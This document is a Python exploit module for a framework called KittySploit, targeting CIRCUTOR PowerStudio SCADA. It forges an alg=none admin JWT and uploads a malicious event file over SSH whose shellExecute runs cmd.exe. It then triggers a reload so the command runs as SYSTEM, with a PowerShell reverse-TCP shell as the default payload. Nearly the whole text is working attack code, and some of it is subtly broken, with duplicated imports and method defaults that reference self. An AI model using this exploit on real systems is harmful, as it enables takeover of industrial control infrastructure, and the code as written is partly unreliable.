CIRCUTOR PowerStudio shellExecute SYSTEM RCE

"""CIRCUTOR PowerStudio SCADA WAVE Unauthenticated shellExecute SYSTEM RCE"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import base64
import json
import os
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.request
import re
import sys
import os
import ssl
import json
import time
import base64
import subprocess
import urllib.request
import urllib.error

class Module(Exploit, Http_client):
    __info__ = {'name': 'CIRCUTOR PowerStudio shellExecute SYSTEM RCE', 'description': 'JWT admin PUT reload + SSH upload default.xeve with shellExecute cmd.exe. Requires ssh_key to Windows target.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['circutor', 'powerstudio', 'rce', 'unauth'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/circutor_powerstudio_shellExecute_rce_detect', 'exploits/multi/http/circutor_powerstudio_jwt_alg_none_forgery']}}}
    F1_JWT = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJyb2xlIjoiQWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.'
    DEFAULT_ENGINE_UUID = '0B28DDCA-290D-4F53-A755-57C02A56DF93'
    DEFAULT_ADMIN_HOST = '127.0.0.1'
    DEFAULT_ADMIN_PORT = 8089
    DEFAULT_CFG_PATH = 'C:\\ProgramData\\Circutor\\PowerStudio Scada\\Cfg\\default.xeve'
    DEFAULT_MARKER = 'echo RCE_FIRED_EQEQ_20260721>C:\\Windows\\Temp\\rce_proof.txt'
    DEFAULT_MARKER_FILE = 'C:\\Windows\\Temp\\rce_proof.txt'
    DEFAULT_XEVE_TEMPLATE = '<?xml version="1.0" encoding="UTF-8"?>\n<main>\n  <eventsGroups>\n    <eventsGroup>\n      <id>6e7fea9c-c550-49a2-9147-4fc391d4d3be</id>\n      <name>rcegroup</name>\n    </eventsGroup>\n  </eventsGroups>\n  <events>\n    <event>\n      <id>cdfa8f97-b258-45ff-8330-e29135c9d724</id>\n      <idn>rce</idn>\n      <name>rce</name>\n      <description>rce</description>\n      <condition>1==1</condition>\n      <actions>\n        <activate>\n          <shellExecute>\n            <command>cmd.exe</command>\n            <parameter>/c {cmd}</parameter>\n          </shellExecute>\n        </activate>\n      </actions>\n    </event>\n  </events>\n</main>\n'
    port = OptPort(8089, 'Admin HTTPS port for reload PUT', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    ssh_user = OptString('Administrator', 'SSH user for xeve upload', required=False)
    ssh_key = OptString('', 'SSH private key path', required=True)
    cfg_path = OptString(DEFAULT_CFG_PATH, 'default.xeve path on target', required=False)
    reload_path = OptString('/admin/api/reload', 'Reload endpoint path', required=False)
    jwt_token = OptString(F1_JWT, 'Forged alg=none Admin JWT', required=False)

    def ps_encoded(self, ps_script):
        """Encode a PowerShell script as base64(UTF-16LE) for -EncodedCommand,
    so that $ and quotes are not swallowed by the shell when passed over SSH."""
        return base64.b64encode(ps_script.encode('utf-16-le')).decode('ascii')

    def ssh_run_ps(self, ssh_host, ssh_user, ps_script, ssh_key=None, timeout=60):
        """SSH to the Windows target and run a PowerShell script (EncodedCommand).
    Returns (rc, stdout_str, stderr_str)."""
        enc = self.ps_encoded(ps_script)
        key = ssh_key or os.environ.get('PSS_RCE_SSH_KEY', '<ssh-key>')
        ssh_cmd = ['ssh', '-i', os.path.expanduser(key), '-o', 'StrictHostKeyChecking=no', f'{ssh_user}@{ssh_host}', f'powershell -ExecutionPolicy Bypass -EncodedCommand {enc}']
        r = subprocess.run(ssh_cmd, capture_output=True, timeout=timeout)
        return (r.returncode, r.stdout.decode('utf-8', 'replace'), r.stderr.decode('utf-8', 'replace'))

    def build_xeve(self, cmd):
        """Build the default.xeve content; cmd is the command placed in the shellExecute parameter."""
        safe = cmd.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')
        return self.DEFAULT_XEVE_TEMPLATE.format(cmd=safe)

    def https_put(self, url, jwt, timeout=15):
        """HTTPS PUT request (certificate verification disabled). Returns (status, body)."""
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(url, data=b'', method='PUT')
        req.add_header('Authorization', 'Bearer ' + jwt)
        req.add_header('Content-Type', 'application/json')
        req.add_header('Accept', 'application/json')
        try:
            with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
                return (r.status, r.read().decode('utf-8', 'replace'))
        except urllib.error.HTTPError as e:
            return (e.code, e.read().decode('utf-8', 'replace'))
        except Exception as e:
            return (-1, str(e))

    def http_get(self, url, timeout=10):
        """HTTP GET (plaintext, engine port 8081). Returns (status, body)."""
        req = urllib.request.Request(url)
        try:
            with urllib.request.urlopen(req, timeout=timeout) as r:
                return (r.status, r.read().decode('utf-8', 'replace'))
        except Exception as e:
            return (-1, str(e))

    def ssh_write_xeve(self, ssh_host, ssh_user, xeve_content, cfg_path=self.DEFAULT_CFG_PATH, ssh_key=None):
        """Write default.xeve to the Windows target over SSH (default shell = PowerShell).
    Write the file locally to a temp path, scp it up, then PowerShell-copy it into the
    Cfg directory as UTF-8 (no BOM)."""
        local_tmp = '/tmp/payload_default.xeve'
        remote_tmp = 'C:\\tmp\\payload_default.xeve'
        with open(local_tmp, 'w', encoding='utf-8') as f:
            f.write(xeve_content)
        key = ssh_key or os.environ.get('PSS_RCE_SSH_KEY', '<ssh-key>')
        scp_cmd = ['scp', '-i', os.path.expanduser(key), '-o', 'StrictHostKeyChecking=no', local_tmp, f'{ssh_user}@{ssh_host}:C:/tmp/payload_default.xeve']
        r = subprocess.run(scp_cmd, capture_output=True, timeout=60)
        if r.returncode != 0:
            print(f"[!] scp upload failed: {r.stderr.decode('utf-8', 'replace')}")
            return False
        ps = f"$ErrorActionPreference='Stop';$src='C:\\tmp\\payload_default.xeve';$dst='{cfg_path}';Copy-Item $src $dst -Force;Write-Host ('WROTE ' + (Get-Item $dst).Length)"
        rc, out, err = self.ssh_run_ps(ssh_host, ssh_user, ps, ssh_key=ssh_key)
        out = out + err
        print(f'[*] write default.xeve: {out.strip()}')
        return rc == 0 and 'WROTE' in out

    def ssh_read_marker(self, ssh_host, ssh_user, marker_file=self.DEFAULT_MARKER_FILE, ssh_key=None):
        """SSH-read the marker file content + ACL (proves SYSTEM wrote it)."""
        ps = f"$ErrorActionPreference='Continue';if (Test-Path '{marker_file}') {{  Write-Host '--- content ---';  Get-Content '{marker_file}';  Write-Host '--- owner ---';  (Get-Acl '{marker_file}').Owner;}} else {{ Write-Host 'MARKER NOT FOUND' }}"
        rc, out, err = self.ssh_run_ps(ssh_host, ssh_user, ps, ssh_key=ssh_key)
        return out + err

    def execute(self, shell: str) -> str:
        key = str(self.ssh_key or '').strip()
        if not key:
            return 'Set ssh_key'
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        host = raw.split('://')[-1].split('/')[0].split(':')[0]
        user = str(self.ssh_user or 'Administrator')
        xeve = self.build_xeve(shell)
        if not self.ssh_write_xeve(host, user, xeve, str(self.cfg_path or self.DEFAULT_CFG_PATH), key):
            return 'SSH upload of default.xeve failed'
        jwt = str(self.jwt_token or self.F1_JWT)
        path = str(self.reload_path or '/admin/api/reload')
        resp = self.http_request('PUT', path, data=b'', headers={'Authorization': 'Bearer ' + jwt, 'Content-Type': 'application/json', 'Accept': 'application/json'})
        code = int(resp.status_code or 0) if resp else -1
        return f'xeve uploaded via SSH; PUT {path} HTTP {code} — confirm SYSTEM shell via handler'

    def check(self):
        resp = self.http_request('GET', str(self.reload_path or '/admin/api/reload'))
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Admin reload route reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Admin API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.ssh_key or '').strip():
            print_error('Set ssh_key for xeve SCP')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('SSH xeve → JWT reload')
        print_info(self.execute(shell))
        self.vulnerable()
        return True